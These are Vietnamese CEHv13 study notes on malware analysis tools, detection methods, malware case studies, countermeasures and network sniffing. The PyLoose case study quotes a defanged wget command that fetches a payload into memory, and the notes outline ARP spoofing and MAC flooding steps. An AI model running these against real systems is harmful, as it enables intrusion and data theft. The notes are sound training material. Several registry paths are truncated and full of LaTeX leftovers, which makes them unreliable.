Strings search (Tìm kiếm chuỗi)	Trích xuất văn bản nhúng để tìm IOCs và ý đồ của mã độc.	URLs, IPs, commands, file paths, mutex names, registry paths, PowerShell, user-agent strings.	FLOSS; `strings`; BinText; FileSeek; Free EXE/DLL Resource Extract; Hex Workshop.
Packing / obfuscation detection (Phát hiện nén/làm rối)	Phát hiện xem mã có bị nén / mã hóa / ẩn giấu hay không.	Entropy cao (high entropy), bảng import (import table) quá nhỏ, các section bất thường, các dấu hiệu UPX (UPX markers).	PEiD; Detect It Easy (DIE).

Phân tích Động (Dynamic Malware Analysis) [Trang 1173 - 1213]

Phân tích động là việc thực thi malware trong một môi trường an toàn (sandbox/máy ảo) để quan sát hành vi của nó. Quá trình gồm hai giai đoạn chính: System Baselining (Lấy snapshot trạng thái hệ thống trước lây nhiễm) và Host Integrity Monitoring (Chụp snapshot sau lây nhiễm và so sánh sự thay đổi).

- **Giám sát Cổng (Port Monitoring):** Kiểm tra các cổng bất thường mở trên hệ thống. Dùng lệnh `netstat -an` (hiển thị TCP/UDP ports), `-e`, `-o` (hiển thị kèm Process ID), `-p`, `-s`, `-r`. Các công cụ trực quan: TCPView, CurrPorts.
  - **Cú pháp và các tham số lệnh Netstat chi tiết (`netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval]`):**
    * `-a`: Hiển thị tất cả các kết nối TCP đang hoạt động và các cổng TCP/UDP mà máy tính đang lắng nghe.
    * `-e`: Hiển thị thống kê Ethernet, chẳng hạn như số lượng byte và gói đã gửi/nhận. Có thể kết hợp với tham số `-s`.
    * `-n`: Hiển thị các kết nối TCP đang hoạt động bằng định dạng số (địa chỉ IP và số cổng) thay vì cố gắng phân giải tên.
    * `-o`: Hiển thị các kết nối TCP đang hoạt động kèm theo ID tiến trình (PID) cho từng kết nối. Có thể kết hợp với `-a`, `-n`, và `-p`.
    * `-p Protocol`: Hiển thị các kết nối cho giao thức cụ thể (tcp, udp, tcpv6, hoặc udpv6).
    * `-s`: Hiển thị thống kê theo từng giao thức (TCP, UDP, ICMP, IP).
    * `-r`: Hiển thị nội dung của bảng định tuyến IP (IP routing table), tương đương với lệnh `route print`.
- **Giám sát Tiến trình (Process Monitoring):** Malware có thể tiêm mình vào tiến trình hợp pháp để ẩn nấp. Dùng Process Monitor (Procmon) để theo dõi real-time file, registry, process/thread, hoặc dùng Process Explorer, OpManager.
  - **Tính năng của Process Monitor (Procmon):** Bắt được nhiều dữ liệu hơn cho các tham số input/output, Bộ lọc không phá hủy (Non-destructive filters), Ghi lại Thread stacks cho mỗi thao tác, Ghi lại chi tiết tiến trình đáng tin cậy (image path, command line, user, session ID), Cột cấu hình linh hoạt (Configurable and moveable columns), Kiến trúc log mở rộng hàng chục triệu sự kiện, Công cụ Process tree (Cây tiến trình), và Định dạng log gốc (Native log format).
- **Giám sát Registry (Registry Monitoring):** Malware thay đổi registry để tự khởi động cùng máy (Run, RunOnce, v.v.). Công cụ: jv16 PowerTools, Reg Organizer, RegScanner.

- **Giám sát Dịch vụ Windows (Windows Services Monitoring):** Dùng công cụ dòng lệnh SrvMan để theo dõi và can thiệp. Các lệnh cơ bản: `srvman.exe add <file.exe>`, `srvman.exe delete`, `srvman.exe start/stop/restart`, `srvman.exe run`. (Các công cụ khác: Netwrix Service Monitor, AnVir Task Manager, Service+, Advanced Windows Service Manager, Process Hacker).
  - **Cú pháp đầy đủ của các lệnh SrvMan:**
    * `srvman.exe add <file.exe/file.sys> [service name] [display name] [/type:<service type>] [/start:<start mode>] [/interactive:no] [/overwrite:yes]`
    * `srvman.exe start <service name> [/nowait] [/delay:<delay in msec>]`
    * `srvman.exe stop <service name> [/nowait] [/delay:<delay in msec>]`
    * `srvman.exe restart <service name> [/delay:<delay in msec>]`
    * `srvman.exe run <driver.sys> [service name] [/copy:yes] [/overwrite:no] [/stopafter:<msec>]`
- **Giám sát Chương trình khởi động (Startup Programs)** [Trang 1186 - 1187]:
  - Các bước kiểm tra thủ công (Steps to manually detect hidden malware):
    * Kiểm tra các mục khởi động trong registry (ví dụ: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ru
    * Kiểm tra các thư mục Registry của Explorer: `HKEY_LOCAL_MACHINE\textbackslash{}SOFTWARE\textback` `Folders, Common Startup` `HKEY_LOCAL_MACHINE\textbackslash{}SOFTWARE\textbackslash{}Micros` `Shell Folders, Common Startup` `HKEY_CURRENT_USER\textbackslash{}Software\textbackslash{}M` `Folders, Startup`
    * Kiểm tra các thư mục Registry của Microsoft Edge: `HKEY_LOCAL_MACHINE\textbackslash{}SOFTWARE\tex` `Edge\textbackslash{}Main\textbackslash{}AllowPrelaunch` `HKEY_LOCAL_MACHINE\textbackslash` `Edge\textbackslash{}Main\textbackslash{}TabPreloader\textbackslash{}AllowTabPreloading` `HKEY_CURRENT_USER\textbackslash{}SOFTWARE\textbackslash{}Policies\textbackslash{}Micros` `HKEY_CURRENT_USER\textbackslash{}SOFTWARE\textbackslash{}Policies\textbackslash{}Micros`
    * Để mở thư mục Startup nhanh, nhấn `Windows + R` và gõ `shell:startup`. Vị trí các thư mục Startup nằm ở: `C:\textbackslash{}ProgramData\textbackslash{}Microsoft\textbackslash{}Windows\tex` `Menu\textbackslash{}Programs\textbackslash{}Startup` và `C:\textbackslash{}Users\textbacks` `Name)\textbackslash{}AppData\textbackslash{}Roaming\textbackslash{}Microsoft\textbacksl` `Menu\textbackslash{}Programs\textbackslash{}Startup`.
    * Kiểm tra các trình điều khiển thiết bị (device drivers) tự động tải tại C:\Windows\System32\drivers.
    * Kiểm tra các mục boot.ini hoặc bcd (bootmgr) bằng lệnh bcdedit trong Command Prompt.
    * Kiểm tra các dịch vụ Windows tự động khởi chạy bằng cách mở services.msc và sắp xếp theo Startup Type.
    * Kiểm tra thư mục Startup (shell:startup hoặc đường dẫn ...\Start Menu\Programs\Startup).
  - Công cụ hỗ trợ: Autoruns for Windows, WinPatrol, Autorun Organizer, Quick Startup, StartEd Pro, Chameleon Startup Manager.
- **Giám sát Nhật ký sự kiện (Event Logs):** Phân tích log Event Viewer (Security, System, Applications Logs) để dò dấu vết tấn công zero-day/lỗi đăng nhập. Công cụ phân tích: Splunk (SIEM).
- **Giám sát Cài đặt (Installation Monitoring):** Theo dõi các tệp và thư mục mới được tạo ra trong quá trình cài đặt ngầm. Công cụ: Mirekusoft Install Monitor, Advanced Uninstaller PRO.

- **Giám sát Tệp/Thư mục (Files/Folders Monitoring):** Quản lý việc đọc, ghi, xóa file. Công cụ: PA File Sight, Tripwire.
- **Giám sát Trình điều khiển (Device Drivers):** Công cụ DriverView hoặc dùng lệnh Run `msinfo32`.
- **Giám sát Lưu lượng mạng (Network Traffic):** Kiểm tra xem mã độc có gọi về máy chủ điều khiển (C&C). Công cụ: SolarWinds NetFlow Traffic Analyzer, Wireshark.
- **Giám sát DNS (DNS Monitoring):** Công cụ DNSQuerySniffer, DNSstuff.
- **Giám sát Cuộc gọi API (API Calls Monitoring):** Theo dõi các API Windows mà malware gọi thông qua công cụ API Monitor.
- **Giám sát Cuộc gọi hệ thống Linux (System Calls Monitoring):** Dùng công cụ `strace`. Cú pháp lệnh: `strace -p <PID>` (gắn vào tiến trình cụ thể), `strace -P <path>` (theo dõi các tương tác với một thư mục), `strace -c` (thống kê tổng thời gian, số lần gọi, số lỗi).
  - Lệnh xuất system calls ra file văn bản: `strace -o out.txt ./<sample file>`
- **Giám sát Tác vụ lên lịch (Scheduled Tasks Monitoring):** Mã độc (như logic bombs) thường được thiết kế để không hoạt động ngay lập tức mà chờ được kích hoạt tại một thời điểm hoặc sự kiện cụ thể bằng Task Scheduler. Dùng công cụ dòng lệnh schtasks để liệt kê toàn bộ hệ thống. Công cụ hỗ trợ: ADAudit Plus, CronitorCLI, SolarWinds Windows Scheduled Task Monitor.
- **Giám sát Hoạt động Trình duyệt (Browser Activity Monitoring):** Mã độc có thể dùng trình duyệt để kết nối ẩn với C&C server nhằm tải thêm payload. Cần kiểm tra lịch sử duyệt web, cache, và lọc web access ở tường lửa. Công cụ: Wireshark, Colasoft Portable Network Analyzer.

Công cụ giúp theo dõi, Giám sát (giám sát Ports/Connections, Files/Folders...): [Trang 1168]

- **Giám sát Ports / Connections:** TCPView, CurrPorts, Netstat.
- **Giám sát Processes:** Process Monitor (Procmon), Process Hacker/System Informer, Task Manager, Process Explorer.
- **Giám sát Windows Registry:** Regshot, RegScanner, Registry Run Keys (`HKLM\textbackslash{}Software\textbac` `\textbackslash{}RunOnce`, `\textbackslash{}RunServices` ...). [Trang 1172 - 1173]
- **Giám sát Startup:** Sysinternals Autoruns (kiểm tra các app tự khởi chạy), WinPatrol.
- **Event Logs / Installation Monitoring:** Event Viewer (Windows), Mirekusoft Install Monitor.
- **Giám sát Device Drivers:** DriverView.
- **Giám sát Network Traffic / DNS / APIs:** Wireshark, DNSQuerySniffer, API Monitor, Cuckoo Sandbox (tự động phân tích).
- **Giám sát System / Linux:** `strace` (dùng để capture system calls, đếm số lỗi/calls báo cáo ở cuối `-c` hoặc giám sát thư mục lệnh `-P`).

6. Các phương pháp phát hiện Virus (Virus Detection Methods) [Trang 1214 - 1218]

- **Scanning (Quét):** Viết các chương trình quét tìm kiếm các chuỗi chữ ký (signature strings) đặc trưng của virus đã biết.
- **Integrity Checking (Kiểm tra toàn vẹn):** Đọc toàn bộ ổ đĩa và ghi lại dữ liệu toàn vẹn (baseline) để so sánh các thay đổi không mong muốn trên file/sector.
- **Interception (Đánh chặn):** Màn hình chặn các yêu cầu gửi đến HĐH (VD: truy cập mạng, đổi file) và cảnh báo người dùng.

- *(Chi tiết về Đánh chặn - Interception)*: Mục tiêu chính của interceptor là làm chệch hướng (deflect) các bom logic và Trojans bằng cách kiểm soát các yêu cầu truy cập mạng được gửi tới HĐH. Tuy nhiên, không có cách nào đáng tin cậy để đánh chặn các nhánh điều hướng thực thi mã cấp thấp (low-level code) do virus tạo ra, và một số virus có thể tự vô hiệu hóa luôn cả chương trình giám sát.

- **Code Emulation (Giả lập mã):** Chạy mã độc trong một máy ảo giả lập các hoạt động của CPU/RAM. Công cụ tiêu biểu: SCEMU, Unicorn, QEMU, Windows Malware Emulator, Speakeasy, Kaspersky Lab emulator. Rất hiệu quả để bắt các virus mã hóa hoặc virus đa hình (polymorphic viruses).
- **Heuristic Analysis (Phân tích theo kinh nghiệm):** Phân tích tĩnh (cấu trúc mã) hoặc động (giả lập mã) để phân tích các tập lệnh xem chúng có tính chất phá hoại hay không, giúp phát hiện virus zero-day.
- **Malware Code Instrumentation (Đo lường mã độc)** [Trang 1218]: Kỹ thuật phân tích và hiểu hành vi của mã độc bằng cách tiêm (injecting) thêm mã hoặc các lệnh hướng dẫn vào các điểm cụ thể bên trong mã nhị phân. Giúp ghi log các lệnh gọi hàm, theo dõi cấp phát bộ nhớ và giao tiếp mạng theo thời gian thực. Công cụ tiêu biểu: Frida và HawkEye.

7. Phân tích Malware chuyên sâu (In-depth Malware Case Studies) [Trang 1219 - 1244]

- **Coyote:** Banking Trojan lây nhiễm ngầm qua file ổ đĩa ảo `.vhd`. Nó ngụy trang bằng giao diện của phần mềm "Squirrel updater". Móc nối NodeJS và "Nim loader" để giải nén trực tiếp mã .NET chạy trên RAM (thông qua môi trường CLR), đồng thời sử dụng kỹ thuật tải DLL chéo (DLL Sideloading) nhắm vào các ứng dụng hợp pháp như Chrome và OBS Studio.
  - **Các lệnh độc quyền mà kẻ tấn công từ xa sử dụng để giao tiếp với Coyote (thông qua máy chủ C2):**

```
| Chiều dài (Length) | Mô tả hành động (Description) |
| :--- | :--- |
| 12 | Chụp ảnh màn hình (Take a screenshot) |
| 14 | Hiển thị cửa sổ lớp phủ của ứng dụng ngân hàng giả mạo (Show an overlay window of a fake ba
| 15 | Hiển thị một Cửa sổ trên nền trước (Show a Window that is in the foreground) |
| 17 | Tắt một tiến trình (Kill a process) |
| 18 | Hiển thị lớp phủ toàn màn hình (Show a full-screen overlay) |
| 21 | Tắt máy (Shut down the machine) |
| 27 | Khóa máy bằng hình ảnh ngân hàng giả mạo hiển thị: "Đang cập nhật..." (Block machine with
| 31 | Bật keylogger (Enable a keylogger) |
| 32 | Di chuyển con trỏ chuột đến vị trí X, Y cụ thể (Move mouse cursor to specific X, Y positio
```

- **GhostLocker 2.0:** Ransomware phát triển bằng Golang do nhóm tin tặc GhostSec xây dựng. Sử dụng bộ công cụ GhostSec Deep Scan ToolSet và công cụ GhostPresser (chuyên bypass quyền Admin trên WordPress và tấn công XSS). Mã độc mã hóa file, thêm đuôi .ghost, và thả file `Ransomnote.html`. Để thiết lập sự bền bỉ (persistence), mã độc tự sao chép vào thư mục Windows Startup, tạo một chuỗi 32-byte ngẫu nhiên làm tên tệp, và giao tiếp với máy chủ C&C thông qua lệnh HTTP POST.
- **PyLoose:** Fileless malware nhắm vào hạ tầng đám mây (Cloud workloads), viết bằng Python. Xâm nhập qua lỗ hổng trên Jupyter Notebook. Nó giải nén payload công cụ đào tiền ảo XMRig và gọi hàm hệ thống `memfd_create()` để chạy trực tiếp trên bộ nhớ (RAM) mà không ghi lên đĩa cứng. Sử dụng zlib để nén và base64 để làm rối.
  - **Các Giai đoạn Tấn công của Fileless Malware PyLoose:**
    - **Giai đoạn 1: Tiền khai thác (Pre-exploitation):** Xâm nhập thông qua một dịch vụ Jupyter Notebook có thể truy cập công khai nhưng cấu hình hạn chế lệnh hệ thống không đầy đủ. Kẻ tấn công

thực thi lệnh tùy chỉnh để tải payload từ paste.c-net.org (ví dụ: `wget -O- https[://]paste[.]c-net.org/chattingloosened`) và chèn trực tiếp vào bộ nhớ thời gian chạy Python qua yêu cầu HTTPS GET, lẩn tránh hoàn toàn việc ghi tệp lên đĩa.

  * **Giai đoạn 2: Khai thác (Exploitation):** Bắt đầu bằng việc giải mã và giải nén trình khai thác XMRig bên trong script, sau đó tải trực tiếp vào bộ nhớ qua lệnh gọi hệ thống (system calls). Mã độc sử dụng thư viện C mặc định, giải mã payload bằng base64, giải nén bằng `zlib`, và gọi **syscall số 319 (memfd_create)**. Sau khi ghi nội dung vào buffer `memfd`, nó thực thi trực tiếp từ bộ nhớ với chuỗi "smd" đóng vai trò là đối số dòng lệnh duy nhất (argv).
  * **Giai đoạn 3: Hậu khai thác - Kiên trì và Kết nối C2 (Post-exploitation - Persistence and C2):** Crypto-miner này thiết lập kết nối tới địa chỉ IPv4 từ xa liên kết với mỏ đào MoneroOcean. Malware liên tục thu hoạch và chuyển tiền điện tử Monero về máy chủ C2 do kẻ tấn công kiểm soát.

- **FakeGPT:** Chiến dịch phát tán mã độc qua Chrome Extension giả mạo bằng quảng cáo lừa đảo (malvertising). Extension này lạm dụng Meta-Graph API để trích xuất dữ liệu tài khoản Business Facebook, đồng thời dùng Chrome declarativeNetRequest API để thao túng Header HTTP, giả mạo các yêu cầu hợp lệ tới Facebook nhằm chiếm đoạt tài khoản quảng cáo trả phí.

8. Công cụ phát hiện Malware tích hợp AI và EDR (AI-Powered Detection & EDR) [Trang 1258 - 1262]

- **Malware.AI:** Công cụ phân tích sử dụng công nghệ Deep Learning. Nó không phụ thuộc vào phương pháp phát hiện dựa trên chữ ký truyền thống. Quy trình tự động 9 bước bao gồm:
  - Upload File: Người dùng tải tệp lên để quét.
  - Check File against Malware Campaigns: Kiểm tra tệp so với cơ sở dữ liệu các chiến dịch mã độc đã biết để xem nó có khớp với mối đe dọa hiện tại nào không.
  - Perform Static Heuristic Analysis: Thu thập thông tin về đặc điểm và hành vi độc hại tiềm ẩn.
  - Execute Dimensional Reduction: Trích xuất các tính năng quan trọng trên dữ liệu tệp thô, giúp phân tích hiệu quả hơn.
  - Separate the File into Multiple Chunks: Chia tệp thành các khối tương quan để phân tích từng phần.
  - Apply AI to the Data: Dùng thuật toán deep learning phân tích tập hợp khối để dự đoán hành vi.
  - Prediction Amplification: Khuếch đại và tinh chỉnh các dự đoán dựa trên kết quả phân tích Heuristic ở bước 3.
  - Final Classification: Tính toán và đưa ra điểm số độc hại (maliciousness score).
  - Return Result to User: Trả kết quả cho người dùng kèm hướng dẫn xử lý.
- **Endpoint Detection and Response (EDR / XDR Tools):** Cung cấp khả năng theo dõi sâu rộng, phát hiện và phản hồi mối đe dọa trên endpoint và mạng. Ví dụ: CrowdStrike Falcon Insight XDR (tích hợp trợ lý AI Charlotte), Microsoft Defender for Endpoint, Cynet Next-Gen Antivirus (NGAV) (chuyên bắt fileless malware dựa trên machine learning).

9. Biện pháp phòng chống mã độc (Malware Countermeasures) [Trang 1245 - 1252]

- **Phòng chống Backdoor / Trojan:** Dùng phần mềm diệt virus thương mại có khả năng quét tự động; Tránh cài đặt ứng dụng từ nguồn không uy tín; Giám sát lưu lượng gói mạng; Khởi động lại máy ở chế độ Safe mode có mạng nếu nghi ngờ; Xóa các mục registry độc hại; Bật tính năng auto-update cho hệ điều hành;

Phân tích pipeline emission để dò phần cứng bị cấy backdoor; Tránh mua phần cứng từ chợ đen; Dùng phần mềm FIM (File Integrity Monitoring) để giám sát tệp; Tắt các dịch vụ/cổng không cần thiết.

- **Phòng chống Virus và Worm:** Thiết lập chính sách diệt virus cho công ty; Thực hiện sao lưu dữ liệu (data backups) thường xuyên; Lên lịch quét toàn bộ ổ đĩa định kỳ; Không bao giờ boot máy bằng đĩa/USB bị nhiễm; Chạy các công cụ dọn dẹp đĩa và quét registry mỗi tuần một lần; Chạy công cụ anti-spyware/anti-adware mỗi tuần một lần; Vô hiệu hóa tính năng AutoRun của hệ thống; Không mở tệp có nhiều đuôi mở rộng.
  - **Cách vô hiệu hóa tính năng AutoRun/Autoplay qua Group Policy:**
    1. Nhấn **Start**, gõ `gpedit.msc` vào hộp tìm kiếm và nhấn ENTER.
    2. Trong thư mục **Computer Configuration**, mở rộng **Administrative Templates**, mở rộng **Windows Components**, và nhấp vào **Autoplay Policies**.
    3. Trong khung Details, nhấp đúp vào mục **Turn off Autoplay**.
    4. Nhấp chọn **Enabled**, sau đó chọn **All drives** trong hộp thoại thả xuống để vô hiệu hóa Autorun trên tất cả các ổ đĩa, nhấp Apply và OK.
    5. Khởi động lại máy tính.
- **Phòng chống Fileless Malware:** Xóa bỏ/hạn chế quyền các công cụ quản trị (administrative tools) thông qua Windows Group Policy hoặc AppLocker; Tắt PowerShell và WMI nếu không sử dụng; Tắt tính năng tự động chạy macro (chỉ dùng macro có chữ ký số/trusted); Cài đặt các giải pháp danh sách trắng (whitelisting) như McAfee Application Control để chặn ứng dụng trái phép; Giám sát hành vi người dùng (UBA); Chặn lưu lượng tải về tệp .exe; Sử dụng các dự án như AltFS để phân tích hành vi mã độc vô hình.
- **Phòng chống AI-based Malware:** Quét các mẫu dữ liệu truyền tải (data transmission) bất thường; Triển khai các giải pháp bảo mật hỗ trợ AI (như NGAV, NTA) để lấy độc trị độc; Phát triển các kỹ thuật AI có thể giải thích được (XAI - Explainable AI) để tăng cường tính minh bạch; Tích hợp nền tảng tự động hóa và phản hồi (SOAR); Tuân thủ GDPR/HIPAA/NIST; Tận dụng các nguồn cấp dữ liệu tình báo mối đe dọa (threat intelligence feeds).
- **Phòng chống Adware:** Cài đặt phần mềm antimalware uy tín; Chú ý trong quá trình cài đặt phần mềm (chọn custom installation để bỏ chọn adware đi kèm); Sử dụng các tiện ích Ad-blockers; Đọc kỹ EULA (thỏa thuận cấp phép người dùng cuối); Điều chỉnh cài đặt quyền riêng tư trên trình duyệt.
- **Phòng chống APT:** Triển khai bảo mật Zero-trust (không tin cậy bất kỳ thực thể nào dù trong hay ngoài mạng); Tiến hành đánh giá rủi ro định kỳ; Phân đoạn mạng (Segment the network) thành các vùng (zones) để hạn chế di chuyển ngang (lateral movement); Triển khai EDR và NGAV; Dùng công nghệ đánh lừa (Deception technologies) như honeypots và decoys để bẫy kẻ tấn công.

10. Phần mềm diệt mã độc (Anti-Malware Software) [Trang 1253 - 1257]

Các công cụ diệt virus tối ưu bảo vệ danh tính, cung cấp VPN và ngăn chặn Trojan, Ransomware, Rootkit:

- **Anti-Malware chung:** Avast One, McAfee Total Protection, Bitdefender Total Security, Malwarebytes, Kaspersky Anti-Virus, Surfshark Antivirus.
- **Công cụ bảo vệ khỏi Fileless Malware (Fileless Malware Protection Tools)** [Trang 1257]: Microsoft Defender for Endpoint, FortiEDR, Kaspersky End Point Security for Business, Sophos Intercept X, CylanceENDPOINT, IBM Security QRadar EDR.
- **Công cụ phát hiện AI-based Malware [Trang 1262]:** Deep Instinct Endpoint Detection, SentinelOne Singularity XDR.

- **Các giải pháp EDR/XDR bổ sung [Trang 1261 - 1262]:** Tanium Endpoint Management, Cisco XDR, Trellix Endpoint Security (ENS), VMware Carbon Black.
- **Các công cụ phát hiện và phân tích Malware bằng AI bổ sung [Trang 1260]:** Sophos Intercept X, Elastic Security, Bitdefender GravityZone, Vipre Endpoint Security, Webroot SecureAnywhere.

CEHv13 - Module 08 - Sniffing

1. Ghi nhận gói tin (Packet Sniffing) [Trang 1269]

Ghi nhận gói tin là quá trình giám sát và bắt giữ toàn bộ các gói dữ liệu đi qua một mạng cụ thể bằng ứng dụng phần mềm hoặc thiết bị phần cứng.

- Kẻ tấn công có thể cấu hình card mạng (NIC) trên máy của chúng sang chế độ **promiscuous (promiscuous mode)**. Chế độ này vô hiệu hóa bộ lọc mặc định của NIC, buộc nó phải lắng nghe và chấp nhận mọi dữ liệu truyền trên phân đoạn mạng của nó thay vì chỉ nhận các gói tin dành riêng cho mình.
- Quá trình này cho phép quan sát và truy cập toàn bộ lưu lượng mạng từ một điểm duy nhất, giúp kẻ tấn công thu thập các thông tin nhạy cảm ở dạng bản rõ (cleartext) như mật khẩu (Telnet, FTP), email, cấu hình router, truy vấn DNS, syslog, và các phiên trò chuyện.

Quá trình kẻ tấn công sử dụng Sniffer để hack mạng (How an Attacker Hacks the Network Using Sniffers) [Trang 1275 - 1278] Các bước kẻ tấn công thường thực hiện:

1. **Bước 1:** Kẻ tấn công kết nối máy tính hoặc laptop của mình vào một trong các cổng trên switch để truy cập mạng.
2. **Bước 2:** Sử dụng các công cụ khám phá mạng (network discovery tools) để tìm hiểu topology (sơ đồ) mạng và các thông tin liên quan.
3. **Bước 3:** Phân tích topology mạng để xác định máy tính của nạn nhân (mục tiêu).
4. **Bước 4:** Sử dụng kỹ thuật ARP spoofing để gửi các thông điệp ARP giả mạo.
5. **Bước 5:** Chuyển hướng (divert) toàn bộ lưu lượng từ máy nạn nhân sang máy của kẻ tấn công (Thiết lập tấn tấn công Man-in-the-Middle - MITM).
6. **Bước 6:** Đọc toàn bộ các gói dữ liệu được gửi và nhận bởi nạn nhân, từ đó trích xuất thông tin nhạy cảm như mật khẩu, tên người dùng, chi tiết thẻ tín dụng và mã PIN.

Sniffing ở Tầng Liên kết dữ liệu (Data Link Layer) của Mô hình OSI

- Mô hình OSI được thiết kế sao cho các tầng hoạt động độc lập với nhau.
- Tầng liên kết dữ liệu (Data Link Layer - Layer 2) là nơi các gói dữ liệu được mã hóa và giải mã thành các bit.
- Các trình nghe lén (Sniffers) hoạt động ở chính tầng Data Link này và có thể bắt các gói tin ngay tại đây. Do các tầng OSI độc lập, nếu một sniffer nghe lén dữ liệu ở tầng Data Link, các tầng OSI cao hơn (Network, Transport, Application...) sẽ hoàn toàn không nhận thức được việc dữ liệu đang bị nghe lén.

2. Các loại môi trường Ethernet [Trang 1270 - 1271]

- **Ethernet chia sẻ (Shared Ethernet)**: Mọi host được kết nối trên một bus đơn (sử dụng hub) và phải cạnh tranh băng thông. Hub truyền dữ liệu đến tất cả các cổng; do đó, việc chỉ cần đặt NIC ở chế độ promiscuous sẽ giúp bắt được mọi gói tin rất dễ dàng. Phương pháp sniffing trong môi trường này mang tính thụ động và rất khó bị phát hiện.
- **Ethernet chuyển mạch (Switched Ethernet)**: Các host kết nối thông qua switch thay vì hub. Switch duy trì một bảng CAM (Content Addressable Memory) để ánh xạ địa chỉ MAC với cổng vật lý tương ứng. Nó chỉ gửi gói tin đến đúng máy đích. Do đó, việc đặt NIC ở chế độ promiscuous không còn hiệu quả trực tiếp, nhưng kẻ tấn công vẫn có thể dùng các phương pháp chủ động để đánh lừa switch.

Cấu trúc chi tiết của Địa chỉ MAC (MAC Address): Một địa chỉ MAC bao gồm 48 bit được chia thành hai phần, mỗi phần chứa 24 bit. Phần đầu tiên chứa số ID của tổ chức sản xuất bộ điều hợp mạng và được gọi là Mã định danh duy nhất của tổ chức (OUI - Organizationally Unique Identifier). Phần tiếp theo chứa số sê-ri được gán cho bộ

điều hợp mạng (NIC specific). Địa chỉ MAC chứa các số thập lục phân gồm 12 chữ số, được chia thành ba hoặc sáu nhóm. Ví dụ: với địa chỉ MAC D4-BE-D9-14-C8-29, sáu chữ số đầu (D4BED9) biểu thị nhà sản xuất (Dell, Inc.), và sáu chữ số tiếp theo (14C829) biểu thị số sê-ri của bộ điều hợp.

Bảng CAM và Cách thức hoạt động (CAM Table & How it works) [Trang 1286 - 1289]:

- **Bảng CAM (Content Addressable Memory):** Là bảng động có kích thước cố định bên trong switch. Nó lưu trữ địa chỉ MAC của các thiết bị gắn liền với các cổng vật lý tương ứng cùng với tham số VLAN. Switch sử dụng bảng này để tra cứu địa chỉ MAC đích và chuyển tiếp dữ liệu đến đúng máy cần nhận, giúp switch an toàn hơn hub.
- **Cách thức hoạt động:**
  - Khi Máy A muốn giao tiếp với Máy B, nó gửi một yêu cầu ARP broadcast chứa IP của B, MAC và IP của A.
  - Switch nhận yêu cầu, cập nhật MAC của A và cổng tương ứng vào bảng CAM (nếu chưa có), sau đó phát sóng (broadcast) yêu cầu này ra toàn mạng.
  - Máy B nhận diện IP của mình, gửi lại ARP reply kèm MAC của B. Switch ghi nhận MAC của B cùng cổng của nó vào bảng CAM.
  - Lúc này, kết nối điểm-điểm được thiết lập. Lưu lượng từ A đến B chỉ đi qua đúng cổng của B, Máy C không thể nhìn thấy lưu lượng này.
- **Điều gì xảy ra khi Bảng CAM bị đầy?** Bảng CAM có kích thước giới hạn. Kẻ tấn công sử dụng MAC Flooding để bơm hàng loạt địa chỉ MAC giả vào switch. Khi bảng CAM đầy, switch sẽ chuyển sang chế độ học tập (learning mode) / fail-open mode, khiến nó hoạt động giống như một hub: phát sóng mọi lưu lượng đến tất cả các cổng. Nhờ đó, kẻ tấn công có thể bắt được gói tin của nạn nhân.

3. Các kiểu sniffing (Types of Sniffing) [Trang 1273 - 1274]

- **Passive sniffing (Sniffing thụ động)**: Kẻ tấn công không gửi thêm bất kỳ gói tin nào, chỉ việc lắng nghe và giám sát các gói tin. Thường được áp dụng cho môi trường hub (common collision domains). Phương pháp này mang lại lợi thế tàng hình (stealth) cực cao vì không để lại dấu vết mạng.
  - Kẻ tấn công sử dụng các phương pháp sniffing thụ động sau để giành quyền kiểm soát mạng mục tiêu:
    - **Compromising physical security (Xâm phạm an ninh vật lý):** Kẻ tấn công bước vào tổ chức với một chiếc laptop, cắm trực tiếp vào mạng và chụp lại các thông tin nhạy cảm.
    - **Using a Trojan horse (Sử dụng Trojan):** Kẻ tấn công cài đặt Trojan (có tích hợp sẵn tính năng sniffing) lên máy nạn nhân để thỏa hiệp, sau đó cài đặt packet sniffer và tiến hành nghe lén.
- **Active sniffing (Sniffing chủ động)**: Áp dụng cho mạng chuyển mạch (switch-based network). Kẻ tấn công phải tìm kiếm hoặc thu hút lưu lượng bằng cách chủ động tiêm (inject) dữ liệu vào mạng. Các kỹ thuật bao gồm: MAC flooding, DNS poisoning, ARP poisoning, DHCP attacks, Switch port stealing, và Spoofing attacks.

4. Các giao thức dễ bị sniffing [Trang 1276 - 1277]

Lý do chính kẻ tấn công nhắm vào các giao thức này là để đánh cắp mật khẩu. Các giao thức truyền tải dữ liệu dưới dạng văn bản thuần túy (cleartext) hoặc có mã hóa yếu bao gồm:

- **Telnet và Rlogin**: Gửi thao tác bàn phím (keystrokes) và mật khẩu ở dạng không mã hóa.
- **HTTP**: Phiên bản mặc định truyền dữ liệu người dùng qua mạng dưới dạng plaintext.
- **SNMP (v1 và v2)**: Giao thức quản lý thiết bị mạng, không cung cấp bảo mật mạnh, truyền dữ liệu cleartext.

- **SMTP, POP, IMAP**: Các giao thức liên quan đến email, truyền tin nhắn và thông tin đăng nhập mà không được mã hóa bảo vệ.
- **NNTP, FTP, TFTP**: Thiếu vắng các cơ chế mã hóa hoặc xác thực an toàn, dễ dàng bị công cụ như hashcat đánh cắp.

5. Phương pháp sniffing cho mạng chuyển mạch (Switched Network)

MAC Flooding [Trang 1271, 1289 - 1291]:

- Tại lớp 2 (Layer 2), kẻ tấn công lợi dụng việc bộ nhớ của switch có giới hạn để gửi hàng loạt địa chỉ MAC nguồn giả mạo. Khi bảng CAM (CAM table) bị đầy, switch không thể theo dõi tiếp và sẽ chuyển sang chế độ mở lỗi (fail-open mode). Lúc này, switch hành xử như một hub, quảng bá (broadcast) mọi gói tin ra tất cả các cổng, cho phép kẻ tấn công bắt được lưu lượng.
- Công cụ: Kẻ tấn công dùng tiện ích `macof` (thuộc bộ `dsniff`) có khả năng gửi tới 131,000 mục MAC giả mỗi phút.

MAC Spoofing / MAC Duplicating [Trang 1327 - 1331]:

- Kẻ tấn công nghe lén mạng, lấy địa chỉ MAC của một máy khách hợp lệ đang kết nối và mạo danh (spoof) chính địa chỉ MAC đó trên máy của mình. Nếu thành công, kẻ tấn công sẽ nhận được mọi lưu lượng dành cho nạn nhân và có thể vượt qua tính năng lọc MAC (MAC filtering) trên các Access Point không dây.
